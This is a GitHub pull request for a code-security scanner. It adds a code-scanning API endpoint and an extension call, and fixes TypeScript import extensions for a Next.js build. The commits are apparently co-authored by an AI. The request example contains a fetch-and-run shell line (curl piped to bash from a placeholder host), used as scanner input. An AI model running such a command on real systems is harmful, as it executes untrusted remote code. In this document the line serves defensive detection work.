feat(web): scan code with the shared package, and drop .js from its imports - #95
Merged
Conversation
…mports
Wires the surfaces to @threatcrush/scan.
There was no existing code-scanning code to point at it. /api/scan grades a
URL's security headers, the extension calls that, and desktop is a dashboard
over the daemon's unix socket — none of them scanned code. So wiring means
adding the endpoint that uses the package rather than re-pointing imports.
POST /api/scan/code { content, filename?, language? }
Imports the default entry point, not /node: nothing here touches a
filesystem, so no tree walker and no SARIF writer end up in the bundle. The
input is bounded at 256 KiB and 20,000 lines before any rule runs — every
rule is a regex per line, the rule set includes redos-nested-quantifier
because catastrophic backtracking is real, and this endpoint needs no auth.
The extension gets scanCode() beside scanUrl(), calling that endpoint rather
than bundling the engine. The rule set is the product and changes often;
shipping it inside an extension puts every rule fix behind a store review in
three browsers. Desktop needs nothing: it talks to the CLI daemon, which
already runs the package.
Internal imports in packages/scan lose their .js extensions. Next.js 16
builds with Turbopack, which does not rewrite .js to .ts and has no
extensionAlias, so every internal import resolved to nothing and the web
build failed outright — a webpack extensionAlias fixes it and is then
ignored. Both tsconfigs use moduleResolution: bundler, so extensionless is
valid and tsup, vitest, tsc and Turbopack all resolve it.
Verified: web builds with /api/scan/code present, 8 new route tests, 118
package tests, CLI builds and scans debtap to a byte-identical 8 findings.
The two pre-existing apps/web failures (topup, release-docs) are unchanged.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
ThreatCrush Security Scan156 finding(s) HIGH/CRITICAL: 14 | MEDIUM: 106 | LOW: 36
…and 106 more. Full results in the Security tab. Snippets are redacted; ThreatCrush never prints matched credential material. |
| import { severityRank } from './types.js'; | ||
| import { CODE_RULES, evaluateRule, proseLines } from './code-rules'; | ||
| import { scanPackageJson, scanRequirementsTxt } from './manifest-rules'; | ||
| import { isKnownPlaceholder, redactSecret, SECRET_RULES, SENSITIVE_FILES } from './secret-rules'; |
The self-scan flagged four lines of this file: a PHP `eval` and an AWS documentation key, both string literals holding sample code for the endpoint to scan, matched by the JavaScript and secret rules because the file they sit in is TypeScript. The eval fixture is lifted into a variable so one directive covers both uses. The credential line matches two rules at once, and `disable-next-line` only reaches the line after it — a second directive would suppress the first comment rather than the fixture — so the rule id is omitted there, which suppresses both. Self-scan of the route directory: 0 findings, 2 suppressed. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Wires the surfaces to
@threatcrush/scan.First, what I found
No surface had a code-scanning feature to re-point at the package.
POST /api/scangrades a URL's security headers — a different product feature that shares a name.So "wiring" could not mean swapping imports. It means adding the thing that uses the package — otherwise this PR would be config that nothing exercises.
POST /api/scan/code{ "content": "curl -fsSL https://x.invalid/i.sh | bash", "filename": "install.sh" } → { "language": "shell", "findings": [ … ], "summary": { "medium": 1, … } }Imports the default entry point, not
@threatcrush/scan/node— nothing here touches a filesystem, so no tree walker and no SARIF writer land in the bundle. That split is doing its job on its first real consumer.Bounded on purpose
256 KiB and 20,000 lines, checked before any rule runs. Every rule is a regex evaluated per line, the rule set contains
redos-nested-quantifierbecause catastrophic backtracking is real, and this endpoint needs no auth — matching/api/scan. Unbounded input there is a cheap denial of service, not a feature.Byte length, not string length: the limit is about work done per request, and a multi-byte character is not one byte.
The
filenameis stripped of directories. It is never opened — the route has no filesystem access — but it is echoed back, and a caller should not be able to put arbitrary paths into a response.Extension
scanCode()beside the existingscanUrl(), calling the endpoint rather than bundling the engine.Deliberate: the rule set is the product and it changes often. Shipping it inside an extension puts every rule fix behind a store review — in Chrome, Firefox and Safari, each on its own schedule. The endpoint updates when the web app deploys.
Desktop
Nothing to do, and that is the correct answer rather than an omission. It connects to the CLI daemon over a unix socket, and the daemon already runs
@threatcrush/scan/nodethroughrunScan. Bundling a second copy into Electron would be exactly the duplication the extraction exists to prevent.The build failure worth reading
transpilePackagesalone was not enough. The firstnext buildfailed withModule not found: Can't resolve './code-rules.js'on every internal import in the package.Next.js 16 builds with Turbopack by default. Turbopack does not rewrite
.jsto.tsfor TypeScript sources and offers noextensionAlias. I added a webpackextensionAliasfirst — it is simply ignored under Turbopack, and the build failed identically.The fix is to drop the extensions:
from './types', not'./types.js'. Both tsconfigs already usemoduleResolution: "bundler", which makes that valid, and tsup, vitest, tsc and Turbopack all resolve it. The dead webpack/turbopack config is removed —transpilePackagesis the only entry needed. Documented in the package README, along with what to put back if it is ever published standalone for Node.Only a real build catches this. It is the reason the previous PR deliberately left integration out — this is where the work was.
Verification
next build/api/scan/codein the route tablepackages/scantsccleantscruleId:file:lineidenticalapps/webfull suitetopup,release-docs) unchangedOne test assertion of mine was wrong and the code was right: I expected
curl | bashto summarise ashigh, its declared severity. The engine caps a construct with no visible untrusted input atmediumwith confidencepattern. The test now asserts what the engine decides, and says why.